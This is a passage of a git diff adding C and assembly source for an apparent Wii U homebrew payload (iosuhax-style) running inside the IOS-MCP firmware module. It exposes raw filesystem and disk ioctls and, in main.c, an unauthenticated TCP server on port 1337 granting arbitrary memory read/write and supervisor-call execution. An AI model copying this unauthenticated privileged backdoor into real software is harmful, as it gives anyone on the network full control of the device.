message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READFILE: + { + int fd = message->ioctl.buffer_in[0]; + u32 size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + u32 flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_WRITEFILE: + { + int fd = message->ioctl.buffer_in[0]; + u32 size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + u32 flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_STATFILE: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEFILE: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle); + break; + } + case IOCTL_FSA_SETFILEPOS: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + u32 position = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position); + break; + } + case IOCTL_FSA_GETSTAT: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_REMOVE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_Remove(fd, path); + break; + } + case IOCTL_FSA_REWINDDIR: + { + int fd = message->ioctl.buffer_in[0]; + int dirFd = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd); + break; + } + case IOCTL_FSA_CHDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path); + break; + } + case IOCTL_FSA_RAW_OPEN: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_RAW_READ: + { + int fd = message->ioctl.buffer_in[0]; + u32 block_size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_WRITE: + { + int fd = message->ioctl.buffer_in[0]; + u32 block_size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_CLOSE: + { + int fd = message->ioctl.buffer_in[0]; + int deviceHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle); + break; + } + case IOCTL_FSA_CHANGEMODE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + int mode = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode); + break; + } + default: + res = IOS_ERROR_INVALID_ARG; + break; + } + + return res; +} + +static int ipc_thread(void *arg) +{ + int res; + ipcmessage *message; + u32 messageQueue[0x10]; + + int queueId = svcCreateMessageQueue(messageQueue, sizeof(messageQueue) / 4); + + if(svcRegisterResourceManager("/dev/iosuhax", queueId) != 0) + { + return 0; + } + + while(1) + { + res = svcReceiveMessage(queueId, &message, 0); + if(res < 0) + { + usleep(10000); + continue; + } + + switch(message->command) + { + case IOS_OPEN: + { + log_printf("IOS_OPEN\n"); + res = 0; + break; + } + case IOS_CLOSE: + { + log_printf("IOS_CLOSE\n"); + res = 0; + break; + } + case IOS_IOCTL: + { + log_printf("IOS_IOCTL\n"); + res = ipc_ioctl(message); + break; + } + case IOS_IOCTLV: + { + log_printf("IOS_IOCTLV\n"); + res = 0; + break; + } + default: + { + log_printf("unexpected command 0x%X\n", message->command); + res = IOS_ERROR_UNKNOWN_VALUE; + break; + } + } + + svcResourceReply(message, res); + } +} + +void ipc_init(void) +{ + int threadId = svcCreateThread(ipc_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1); + if(threadId >= 0) + svcStartThread(threadId); +} diff --git a/ios_mcp/source/ipc.h b/ios_mcp/source/ipc.h new file mode 100644 index 0000000..72aac08 --- /dev/null +++ b/ios_mcp/source/ipc.h @@ -0,0 +1,6 @@ +#ifndef _IPC_H_ +#define _IPC_H_ + +void ipc_init(); + +#endif diff --git a/ios_mcp/source/ipc_types.h b/ios_mcp/source/ipc_types.h new file mode 100644 index 0000000..22e14ff --- /dev/null +++ b/ios_mcp/source/ipc_types.h @@ -0,0 +1,83 @@ +#ifndef _IPC_TYPES_H_ +#define _IPC_TYPES_H_ + +#include "types.h" + +#define IOS_COMMAND_INVALID 0x00 +#define IOS_OPEN 0x01 +#define IOS_CLOSE 0x02 +#define IOS_READ 0x03 +#define IOS_WRITE 0x04 +#define IOS_SEEK 0x05 +#define IOS_IOCTL 0x06 +#define IOS_IOCTLV 0x07 +#define IOS_REPLY 0x08 +#define IOS_IPC_MSG0 0x09 +#define IOS_IPC_MSG1 0x0A +#define IOS_IPC_MSG2 0x0B +#define IOS_SUSPEND 0x0C +#define IOS_RESUME 0x0D +#define IOS_SVCMSG 0x0E + + +/* IPC message */ +typedef struct ipcmessage +{ + u32 command; + u32 result; + u32 fd; + u32 flags; + u32 client_cpu; + u32 client_pid; + u64 client_gid; + u32 server_handle; + + union + { + u32 args[5]; + + struct + { + char *device; + u32 mode; + u32 resultfd; + } open; + + struct + { + void *data; + u32 length; + } read, write; + + struct + { + s32 offset; + s32 origin; + } seek; + + struct + { + u32 command; + + u32 *buffer_in; + u32 length_in; + u32 *buffer_io; + u32 length_io; + } ioctl; + struct _ioctlv + { + u32 command; + + u32 num_in; + u32 num_io; + struct _ioctlv *vector; + } ioctlv; + }; + + u32 prev_command; + u32 prev_fd; + u32 virt0; + u32 virt1; +} __attribute__((packed)) ipcmessage; + +#endif diff --git a/ios_mcp/source/logger.c b/ios_mcp/source/logger.c new file mode 100644 index 0000000..b5b4fe2 --- /dev/null +++ b/ios_mcp/source/logger.c @@ -0,0 +1,71 @@ +#include +#include +#include "types.h" +#include "imports.h" +#include "socket.h" +#include "logger.h" + +#ifdef DEBUG_LOGGER +static int log_socket = 0; + +int log_init(unsigned int ipAddress) +{ + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (log_socket < 0) + return log_socket; + + struct sockaddr_in connect_addr; + memset(&connect_addr, 0, sizeof(connect_addr)); + connect_addr.sin_family = AF_INET; + connect_addr.sin_port = 4405; + connect_addr.sin_addr.s_addr = ipAddress; + + if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) + { + closesocket(log_socket); + log_socket = -1; + } + + return log_socket; +} + +void log_deinit() +{ + if(log_socket >= 0) + { + closesocket(log_socket); + log_socket = -1; + } +} + +static void log_print(const char *str, int len) +{ + int ret; + while (len > 0) { + int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet + ret = send(log_socket, str, block, 0); + if(ret < 0) + break; + + len -= ret; + str += ret; + } +} + +void log_printf(const char *format, ...) +{ + if(log_socket < 0) { + return; + } + + va_list args; + va_start(args, format); + + char buffer[0x100]; + + int len = vsnprintf(buffer, sizeof(buffer), format, args); + log_print(buffer, len); + + va_end(args); +} +#endif // DEBUG_LOGGER diff --git a/ios_mcp/source/logger.h b/ios_mcp/source/logger.h new file mode 100644 index 0000000..085672c --- /dev/null +++ b/ios_mcp/source/logger.h @@ -0,0 +1,24 @@ +#ifndef __LOGGER_H_ +#define __LOGGER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +//#define DEBUG_LOGGER 1 + +#ifdef DEBUG_LOGGER +int log_init(unsigned int ip); +void log_deinit(); +void log_printf(const char *format, ...); +#else +#define log_init(x) +#define log_deinit() +#define log_printf(x, ...) +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ios_mcp/source/main.c b/ios_mcp/source/main.c new file mode 100644 index 0000000..50c3c27 --- /dev/null +++ b/ios_mcp/source/main.c @@ -0,0 +1,239 @@ +#include +#include +#include +#include "imports.h" +#include "net_ifmgr_ncl.h" +#include "socket.h" +#include "fsa.h" +#include "svc.h" +#include "text.h" +#include "logger.h" +#include "ipc.h" + +static bool serverKilled; + +// overwrites command_buffer with response +// returns length of response (or 0 for no response, negative for error) +int serverCommandHandler(u32* command_buffer, u32 length) +{ + if(!command_buffer || !length) return -1; + + int out_length = 4; + + switch(command_buffer[0]) + { + case 0: + // write + // [cmd_id][addr] + { + void* dst = (void*)command_buffer[1]; + + memcpy(dst, &command_buffer[2], length - 8); + } + break; + case 1: + // read + // [cmd_id][addr][length] + { + void* src = (void*)command_buffer[1]; + length = command_buffer[2]; + + memcpy(&command_buffer[1], src, length); + out_length = length + 4; + } + break; + case 2: + // svc + // [cmd_id][svc_id] + { + int svc_id = command_buffer[1]; + int size_arguments = length - 8; + + u32 arguments[8]; + memset(arguments, 0x00, sizeof(arguments)); + memcpy(arguments, &command_buffer[2], (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); + + // return error code as data + out_length = 8; + command_buffer[1] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); + } + break; + case 3: + // kill + // [cmd_id] + { + serverKilled = true; + } + break; + case 4: + // memcpy + // [dst][src][size] + { + void* dst = (void*)command_buffer[1]; + void* src = (void*)command_buffer[2]; + int size = command_buffer[3]; + + memcpy(dst, src, size); + } + break; + case 5: + // repeated-write + // [address][value][n] + { + u32* dst = (u32*)command_buffer[1]; + u32* cache_range = (u32*)(command_buffer[1] & ~0xFF); + u32 value = command_buffer[2]; + u32 n = command_buffer[3]; + + u32 old = *dst; + int i; + for(i = 0; i < n; i++) + { + if(*dst != old) + { + if(*dst == 0x0) old = *dst; + else + { + *dst = value; + svcFlushDCache(cache_range, 0x100); + break; + } + }else + { + svcInvalidateDCache(cache_range, 0x100); + usleep(50); + } + } + } + break; + default: + // unknown command + return -2; + break; + } + + // no error ! + command_buffer[0] = 0x00000000; + return out_length; +} + +void serverClientHandler(int sock) +{ + u32 command_buffer[0x180]; + + while(!serverKilled) + { + int ret = recv(sock, command_buffer, sizeof(command_buffer), 0); + + if(ret <= 0) break; + + ret = serverCommandHandler(command_buffer, ret); + + if(ret > 0) + { + send(sock, command_buffer, ret, 0); + }else if(ret < 0) + { + send(sock, &ret, sizeof(int), 0); + } + } + + closesocket(sock); +} + +void serverListenClients() +{ + int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + struct sockaddr_in server; + + memset(&server, 0x00, sizeof(server)); + + server.sin_family = AF_INET; + server.sin_port = 1337; + server.sin_addr.s_addr = 0; + + if(bind(sock, (struct sockaddr *)&server, sizeof(server)) < 0) + { + closesocket(sock); + return; + } + + if(listen(sock, 1) < 0) + { + closesocket(sock); + return; + } + + while(!serverKilled) + { + int csock = accept(sock, NULL, NULL); + if(csock < 0) + break; + + serverClientHandler(csock); + } + + closesocket(sock); +} + +int _main(void *arg) +{ + while(ifmgrnclInit() <= 0) + { + //print(0, 0, "opening /dev/net/ifmgr/ncl..."); + usleep(1000); + } + + while(true) + { + u16 out0, out1; + + int ret0 = IFMGRNCL_GetInterfaceStatus(0, &out0); + if(!ret0 && out0 == 1) break; + + int ret1 = IFMGRNCL_GetInterfaceStatus(1, &out1); + if(!ret1 && out1 == 1) break; + + //print(0, 0, "initializing /dev/net/ifmgr/ncl... %08X %08X %08X %08X ", ret0, ret1, out0, out1); + + usleep(1000); + } + + while(socketInit() <= 0) + { + //print(0, 0, "opening /dev/socket..."); + usleep(1000); + } + + log_init(0xC0A8B203); + + //print(0, 0, "opened /dev/socket !"); + usleep(5*1000*1000); + //print(0, 10, "attempting sockets !"); + + serverKilled = false; + + while(1) + { + if(!serverKilled) + { + serverListenClients(); + } + usleep(1000*1000); + } + return 0; +} + +void _startMainThread(void) +{ + drawSplashScreen(); + + memset((void*)0x050BD000, 0, 0x3000); + + int threadId = svcCreateThread(_main, 0, (u32*)(0x050BD000 + 0x1000), 0x1000, 0x78, 1); + if(threadId >= 0) + svcStartThread(threadId); + + ipc_init(); +} diff --git a/ios_mcp/source/net_ifmgr_ncl.c b/ios_mcp/source/net_ifmgr_ncl.c new file mode 100644 index 0000000..9670542 --- /dev/null +++ b/ios_mcp/source/net_ifmgr_ncl.c @@ -0,0 +1,63 @@ +#include +#include +#include "net_ifmgr_ncl.h" +#include "imports.h" +#include "svc.h" + +static int ifmgrncl_handle = 0; + +int ifmgrnclInit() +{ + if(ifmgrncl_handle) return ifmgrncl_handle; + + int ret = svcOpen("/dev/net/ifmgr/ncl", 0); + + if(ret > 0) + { + ifmgrncl_handle = ret; + return ifmgrncl_handle; + } + + return ret; +} + +int ifmgrnclExit() +{ + int ret = svcClose(ifmgrncl_handle); + + ifmgrncl_handle = 0; + + return ret; +} + +static void* allocIobuf(u32 size) +{ + void* ptr = svcAlloc(0xCAFF, size); + + if(ptr) memset(ptr, 0x00, size); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16* out_status) +{ + u8* iobuf1 = allocIobuf(0x2); + u16* inbuf = (u16*)iobuf1; + u8* iobuf2 = allocIobuf(0x8); + u16* outbuf = (u16*)iobuf2; + + inbuf[0] = interface_id; + + int ret = svcIoctl(ifmgrncl_handle, 0x14, inbuf, 0x2, outbuf, 0x8); + + if(!ret && out_status) *out_status = outbuf[2]; + + freeIobuf(iobuf1); + freeIobuf(iobuf2); + return ret; +} diff --git a/ios_mcp/source/net_ifmgr_ncl.h b/ios_mcp/source/net_ifmgr_ncl.h new file mode 100644 index 0000000..54a4f6b --- /dev/null +++ b/ios_mcp/source/net_ifmgr_ncl.h @@ -0,0 +1,11 @@ +#ifndef NET_IFMGR_NCL +#define NET_IFMGR_NCL + +#include "types.h" + +int ifmgrnclInit(); +int ifmgrnclExit(); + +int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16* out_status); + +#endif diff --git a/ios_mcp/source/socket.c b/ios_mcp/source/socket.c new file mode 100644 index 0000000..ca12f99 --- /dev/null +++ b/ios_mcp/source/socket.c @@ -0,0 +1,215 @@ +#include +#include +#include +#include "socket.h" +#include "svc.h" +#include "text.h" +#include "imports.h" + +static int socket_handle = 0; + +int socketInit() +{ + if(socket_handle) return socket_handle; + + int ret = svcOpen("/dev/socket", 0); + + if(ret > 0) + { + socket_handle = ret; + return socket_handle; + } + + return ret; +} + +int socketExit() +{ + int ret = svcClose(socket_handle); + + socket_handle = 0; + + return ret; +} + +static void* allocIobuf(u32 size) +{ + void* ptr = svcAlloc(0xCAFF, size); + + if(ptr) memset(ptr, 0x00, size); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int socket(int domain, int type, int protocol) +{ + u8* iobuf = allocIobuf(0xC); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = domain; + inbuf[1] = type; + inbuf[2] = protocol; + + int ret = svcIoctl(socket_handle, 0x11, inbuf, 0xC, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int closesocket(int sockfd) +{ + u8* iobuf = allocIobuf(0x4); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + + int ret = svcIoctl(socket_handle, 0x3, inbuf, 0x4, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) +{ + u8* iobuf = allocIobuf(0x18); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)inbuf; + + inbuf[0] = sockfd; + + int ret = -1; + + if(addr && addrlen && *addrlen == 0x10) + { + inbuf[5] = *addrlen; + + ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18); + + if(ret >= 0) + { + memcpy(addr, &outbuf[1], outbuf[5]); + *addrlen = outbuf[5]; + } + }else{ + inbuf[5] = 0x10; + + ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18); + } + + freeIobuf(iobuf); + return ret; +} + +int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if(addrlen != 0x10) return -1; + + u8* iobuf = allocIobuf(0x18); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + memcpy(&inbuf[1], addr, addrlen); + inbuf[5] = addrlen; + + int ret = svcIoctl(socket_handle, 0x2, inbuf, 0x18, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if(addrlen != 0x10) return -1; + + u8* iobuf = allocIobuf(0x18); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + memcpy(&inbuf[1], addr, addrlen); + inbuf[5] = addrlen; + + int ret = svcIoctl(socket_handle, 0x4, inbuf, 0x18, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int listen(int sockfd, int backlog) +{ + u8* iobuf = allocIobuf(0x8); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + inbuf[1] = backlog; + + int ret = svcIoctl(socket_handle, 0xA, inbuf, 0x8, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int recv(int sockfd, void *buf, size_t len, int flags) +{ + if(!len) return -101; + + // TODO : size checks, split up data into multiple vectors if necessary + void* data_buf = svcAllocAlign(0xCAFF, len, 0x40); + if(!data_buf) return -100; + + u8* iobuf = allocIobuf(0x38); + iovec_s* iovec = (iovec_s*)iobuf; + u32* inbuf = (u32*)&iobuf[0x30]; + + inbuf[0] = sockfd; + inbuf[1] = flags; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x8; + iovec[1].ptr = (void*)data_buf; + iovec[1].len = len; + + int ret = svcIoctlv(socket_handle, 0xC, 1, 3, iovec); + + if(ret > 0 && buf) + { + memcpy(buf, data_buf, ret); + } + + freeIobuf(data_buf); + freeIobuf(iobuf); + return ret; +} + +int send(int sockfd, const void *buf, size_t len, int flags) +{ + if(!buf || !len) return -101; + + // TODO : size checks, split up data into multiple vectors if necessary + void* data_buf = svcAllocAlign(0xCAFF, len, 0x40); + if(!data_buf) return -100; + + u8* iobuf = allocIobuf(0x38); + iovec_s* iovec = (iovec_s*)iobuf; + u32* inbuf = (u32*)&iobuf[0x30]; + + memcpy(data_buf, buf, len); + + inbuf[0] = sockfd; + inbuf[1] = flags; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x8; + iovec[1].ptr = (void*)data_buf; + iovec[1].len = len; + + int ret = svcIoctlv(socket_handle, 0xE, 4, 0, iovec); + + freeIobuf(data_buf); + freeIobuf(iobuf); + return ret; +} diff --git a/ios_mcp/source/socket.h b/ios_mcp/source/socket.h new file mode 100644 index 0000000..76d32eb --- /dev/null +++ b/ios_mcp/source/socket.h @@ -0,0 +1,131 @@ +#ifndef SOCKET_H +#define SOCKET_H + +// slightly stolen from ctrulib +#include +#include + +#define SOL_SOCKET 0xFFFF + +#define PF_UNSPEC 0 +#define PF_INET 2 +#define PF_INET6 10 + +#define AF_UNSPEC PF_UNSPEC +#define AF_INET PF_INET +#define AF_INET6 PF_INET6 + +#define SOCK_STREAM 1 +#define SOCK_DGRAM 2 + +#define MSG_CTRUNC 0x01000000 +#define MSG_DONTROUTE 0x02000000 +#define MSG_EOR 0x04000000 +#define MSG_OOB 0x08000000 +#define MSG_PEEK 0x10000000 +#define MSG_TRUNC 0x20000000 +#define MSG_WAITALL 0x40000000 + +#define SHUT_RD 0 +#define SHUT_WR 1 +#define SHUT_RDWR 2 + +#define SO_DEBUG 0x0001 +#define SO_ACCEPTCONN 0x0002 +#define SO_REUSEADDR 0x0004 +#define SO_KEEPALIVE 0x0008 +#define SO_DONTROUTE 0x0010 +#define SO_BROADCAST 0x0020 +#define SO_USELOOPBACK 0x0040 +#define SO_LINGER 0x0080 +#define SO_OOBINLINE 0x0100 +#define SO_REUSEPORT 0x0200 +#define SO_SNDBUF 0x1001 +#define SO_RCVBUF 0x1002 +#define SO_SNDLOWAT 0x1003 +#define SO_RCVLOWAT 0x1004 +#define SO_SNDTIMEO 0x1005 +#define SO_RCVTIMEO 0x1006 +#define SO_ERROR 0x1007 +#define SO_TYPE 0x1008 + +#define INADDR_ANY 0x00000000 +#define INADDR_BROADCAST 0xFFFFFFFF +#define INADDR_NONE 0xFFFFFFFF + +#define INET_ADDRSTRLEN 16 + +#define INADDR_LOOPBACK 0x7f000001 +#define INADDR_ANY 0x00000000 +#define INADDR_BROADCAST 0xFFFFFFFF +#define INADDR_NONE 0xFFFFFFFF + +#define INET_ADDRSTRLEN 16 + +#define IPPROTO_IP 0 /* dummy for IP */ +#define IPPROTO_UDP 17 /* user datagram protocol */ +#define IPPROTO_TCP 6 /* tcp */ + +#define IP_TOS 7 +#define IP_TTL 8 +#define IP_MULTICAST_LOOP 9 +#define IP_MULTICAST_TTL 10 +#define IP_ADD_MEMBERSHIP 11 +#define IP_DROP_MEMBERSHIP 12 + +typedef uint32_t socklen_t; +typedef uint16_t sa_family_t; + +struct sockaddr +{ + sa_family_t sa_family; + char sa_data[]; +}; + +struct sockaddr_storage +{ + sa_family_t ss_family; + char __ss_padding[14]; +}; + +typedef uint16_t in_port_t; +typedef uint32_t in_addr_t; + +struct in_addr { + in_addr_t s_addr; +}; + +struct sockaddr_in { + sa_family_t sin_family; + in_port_t sin_port; + struct in_addr sin_addr; + unsigned char sin_zero[8]; +}; + +struct linger +{ + int l_onoff; + int l_linger; +}; + +int socketInit(); +int socketExit(); + +int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +int closesocket(int sockfd); +int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +int getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +int getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen); +int listen(int sockfd, int backlog); +ssize_t recv(int sockfd, void *buf, size_t len, int flags); +ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen); +ssize_t send(int sockfd, const void *buf, size_t len, int flags); +ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen); +int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); +int shutdown(int sockfd, int how); +int socket(int domain, int type, int protocol); +int sockatmark(int sockfd); + +#endif diff --git a/ios_mcp/source/svc.h b/ios_mcp/source/svc.h new file mode 100644 index 0000000..8aa8aad --- /dev/null +++ b/ios_mcp/source/svc.h @@ -0,0 +1,31 @@ +#ifndef SVC_H +#define SVC_H + +#include "ipc_types.h" + +typedef struct +{ + void* ptr; + u32 len; + u32 unk; +}iovec_s; + +void* svcAlloc(u32 heapid, u32 size); +void* svcAllocAlign(u32 heapid, u32 size, u32 align); +void svcFree(u32 heapid, void* ptr); +int svcOpen(char* name, int mode); +int svcClose(int fd); +int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); +int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); +int svcInvalidateDCache(void* address, u32 size); +int svcFlushDCache(void* address, u32 size); + +int svcCreateThread(int (*callback)(void* arg), void* arg, u32* stack_top, u32 stacksize, int priority, int detached); +int svcStartThread(int threadId); +int svcCreateMessageQueue(u32 *ptr, u32 n_msgs); +int svcRegisterResourceManager(const char* device, int queueid); +int svcReceiveMessage(int queueid, ipcmessage ** ipc_buf, u32 flags); +int svcResourceReply(ipcmessage * ipc_message, u32 result); +u32 svcRead32(u32 addr); + +#endif diff --git a/ios_mcp/source/svc.s b/ios_mcp/source/svc.s new file mode 100644 index 0000000..1abd79a --- /dev/null +++ b/ios_mcp/source/svc.s @@ -0,0 +1,99 @@ +.section ".text" +.arm +.align 4 + +.global svcCreateThread +.type svcCreateThread, %function +svcCreateThread: + .word 0xE7F000F0 + bx lr + +.global svcStartThread +.type svcStartThread, %function +svcStartThread: + .word 0xE7F007F0 + bx lr + +.global svcCreateMessageQueue +.type svcCreateMessageQueue, %function +svcCreateMessageQueue: + .word 0xE7F00CF0 + bx lr + +.global svcReceiveMessage +.type svcReceiveMessage, %function +svcReceiveMessage: + .word 0xE7F010F0 + bx lr + +.global svcAlloc +.type svcAlloc, %function +svcAlloc: + .word 0xE7F027F0 + bx lr + +.global svcAllocAlign +.type svcAllocAlign, %function +svcAllocAlign: + .word 0xE7F028F0 + bx lr + +.global svcFree +.type svcFree, %function +svcFree: + .word 0xE7F029F0 + bx lr + +.global svcRegisterResourceManager +.type svcRegisterResourceManager, %function +svcRegisterResourceManager: + .word 0xE7F02CF0 + bx lr + +.global svcOpen +.type svcOpen, %function +svcOpen: + .word 0xE7F033F0 + bx lr + +.global svcClose +.type svcClose, %function +svcClose: + .word 0xE7F034F0 + bx lr + +.global svcIoctl +.type svcIoctl, %function +svcIoctl: + .word 0xE7F038F0 + bx lr + +.global svcIoctlv +.type svcIoctlv, %function +svcIoctlv: + .word 0xE7F039F0 + bx lr + +.global svcResourceReply +.type svcResourceReply, %function +svcResourceReply: + .word 0xE7F049F0 + bx lr + +.global svcInvalidateDCache +.type svcInvalidateDCache, %function +svcInvalidateDCache: + .word 0xE7F051F0 + bx lr + +.global svcFlushDCache +.type svcFlushDCache, %function +svcFlushDCache: + .word 0xE7F052F0 + bx lr + +.global svcRead32 +.type svcRead32, %function +svcRead32: + .word 0xE7F081F0 + bx lr diff --git a/ios_mcp/source/text.c b/ios_mcp/source/text.c new file mode 100644 index 0000000..8d5b425 --- /dev/null +++ b/ios_mcp/source/text.c @@ -0,0 +1,105 @@ +#include +#include +#include +#include "imports.h" +#include "font_bin.h" + +#define FRAMEBUFFER_ADDRESS (0x14000000+0x38C0000) +#define FRAMEBUFFER_STRIDE (0xE00) +#define FRAMEBUFFER_STRIDE_WORDS (FRAMEBUFFER_STRIDE >> 2) + +#define CHAR_SIZE_X (8) +#define CHAR_SIZE_Y (8) + +static const u8 *launch_image_tga = (const u8*)0x27000000; + +u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS; + +void drawSplashScreen(void) +{ + // check if it is an unmapped RGB tga + if(*(u32*)launch_image_tga != 0x00000200) + return; + + int i; + for(i = 0; i < (896 * 504); i++) + { + u32 pixel; + u32 pixelOffset = 0x12 + i * 2; + // access only 4 byte aligned data as the file is in code section + u32 dualPixel = *(u32*)(launch_image_tga + (pixelOffset & ~3)); + + if((pixelOffset & 3) == 0) + { + pixel = ((dualPixel >> 24) & 0xFF) | (((dualPixel >> 16) & 0xFF) << 8); + } + else + { + pixel = ((dualPixel >> 8) & 0xFF) | ((dualPixel & 0xFF) << 8); + } + + framebuffer[i] = (((pixel >> 10) & 0x1F) << (3 + 24)) | (((pixel >> 5) & 0x1F) << (3 + 16)) | ((pixel & 0x1F) << (3 + 8)) | 0xFF; + } +} + +void clearScreen(u32 color) +{ + int i; + for(i = 0; i < 896 * 504; i++) + { + framebuffer[i] = color; + } +} + +void drawCharacter(char c, int x, int y) +{ + if(c < 32)return; + c -= 32; + u8* charData = (u8*)&font_bin[(CHAR_SIZE_X * CHAR_SIZE_Y * c) / 8]; + u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS]; + int i, j; + for(i = 0; i < CHAR_SIZE_Y; i++) + { + u8 v= *(charData++); + for(j = 0; j < CHAR_SIZE_X; j++) + { + if(v & 1) *fb = 0x00000000; + else *fb = 0xFFFFFFFF; + v >>= 1; + fb++; + } + fb += FRAMEBUFFER_STRIDE_WORDS - CHAR_SIZE_X; + } +} + +void drawString(char* str, int x, int y) +{ + if(!str) return; + int k; + int dx = 0, dy = 0; + for(k = 0; str[k]; k++) + { + if(str[k] >= 32 && str[k] < 128) drawCharacter(str[k], x + dx, y + dy); + + dx += 8; + + if(str[k] == '\n') + { + dx = 0; + dy -= 8; + } + } +} + +void print(int x, int y, const char *format, ...) +{ + va_list args; + 